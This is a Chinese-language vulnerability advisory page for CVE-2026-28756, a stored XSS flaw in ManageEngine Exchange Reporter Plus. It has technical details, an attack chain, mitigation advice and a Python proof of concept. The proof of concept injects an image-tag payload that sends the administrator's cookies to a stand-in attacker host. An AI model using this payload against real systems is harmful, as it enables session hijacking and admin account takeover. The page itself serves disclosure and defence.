IPBUF安全漏洞报告
English
CVE-2026-28756 CVSS 7.3 高危

CVE-2026-28756: ManageEngine Exchange Reporter Plus 存储型XSS漏洞

披露日期: 2026-04-03
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2026-28756
漏洞类型
存储型跨站脚本
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Zohocorp ManageEngine Exchange Reporter Plus

相关标签

XSSStored XSSCVE-2026-28756ManageEngineExchange Reporter PlusWeb安全权限提升

漏洞概述

Zohocorp ManageEngine Exchange Reporter Plus在5802之前的版本中存在存储型跨站脚本(XSS)漏洞。该漏洞位于“基于Distribution Groups的权限报表”功能中。由于系统未对用户输入进行有效过滤,低权限攻击者可注入恶意脚本。当管理员或其他用户查看受污染的报表时,脚本将在其浏览器中执行,导致窃取凭证或执行未授权操作,严重影响系统安全。

技术细节

该漏洞原理在于应用程序在处理“基于Distribution Groups的权限报表”数据时,缺乏对输出内容的上下文感知编码。攻击者利用低权限账户访问报表配置接口,在Distribution Group名称或相关参数字段植入JavaScript载荷(如事件处理程序或Script标签)。系统将这些恶意数据未经净化直接存储在后端数据库。当具有更高权限的用户(如管理员)访问该报表页面时,服务器会从数据库读取数据并直接嵌入到HTML响应中。浏览器解析HTML时触发恶意脚本,利用CVSS向量中的UI:R(需要用户交互)特性,诱导管理员点击或仅通过页面加载即可执行攻击。这允许攻击者绕过同源策略,窃取Session Cookie,进而劫持管理员会话,执行具有高权限的恶意操作。由于攻击向量为网络(AV:N)且攻击复杂度低(AC:L),此漏洞易于被利用,对内网环境下的Exchange报表管理构成严重威胁。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标系统为Zohocorp ManageEngine Exchange Reporter Plus,且版本低于5802。
STEP 2
2. 获取访问
攻击者使用低权限账户登录到应用程序(利用PR:L特性)。
STEP 3
3. 漏洞利用
攻击者导航至“基于Distribution Groups的权限报表”配置页面,并在输入字段中注入恶意的JavaScript代码。
STEP 4
4. 持久化
应用程序将恶意代码存储在数据库中,并未在服务器端进行适当的过滤。
STEP 5
5. 触发
当管理员或具有高权限的用户访问并查看该受感染的报表页面时,恶意代码在浏览器上下文中被检索和渲染。
STEP 6
6. 执行
浏览器执行恶意脚本(利用UI:R),可能会窃取管理员的Session ID或执行其他恶意操作。
STEP 7
7. 提权
攻击者利用窃取的凭证接管管理员账户,获得系统的完全控制权(C:H/I:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "https://<target_host>/exchange_reporter_plus/servlet/ReportServlet" # Attacker credentials (Low Privilege) username = "attacker" password = "password" # Malicious Payload attempting to steal cookies via Stored XSS # The payload is injected into the Distribution Groups report parameter xss_payload = "<img src=x onerror=this.src='http://attacker-server.com/steal?c='+document.cookie>" # 1. Login to establish session session = requests.Session() login_data = { "login_type": "LOCAL", "auth_type": "userLogin", "username": username, "password": password } session.post("https://<target_host>/exchange_reporter_plus/j_security_check", data=login_data) # 2. Inject Payload into the Vulnerable Report Configuration # Targeting the 'Permissions based on Distribution Groups' report generation exploit_data = { "action": "addReport", "reportType": "DistributionGroups", "groupFilter": xss_payload, # Vulnerable parameter "save": "Save" } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] The XSS trigger is stored. Wait for an admin to view the report.") else: print("[-] Injection failed.")

影响范围

Zohocorp ManageEngine Exchange Reporter Plus < 5802

防御指南

临时缓解措施
在应用官方补丁前,建议管理员严格限制对“基于Distribution Groups的权限报表”功能的访问权限,仅允许受信任的必要用户进行配置。同时,应加强对报表输出页面的安全审计,并在浏览器端启用谨慎的脚本执行策略。建议用户不要轻易查看来源不明的报表链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表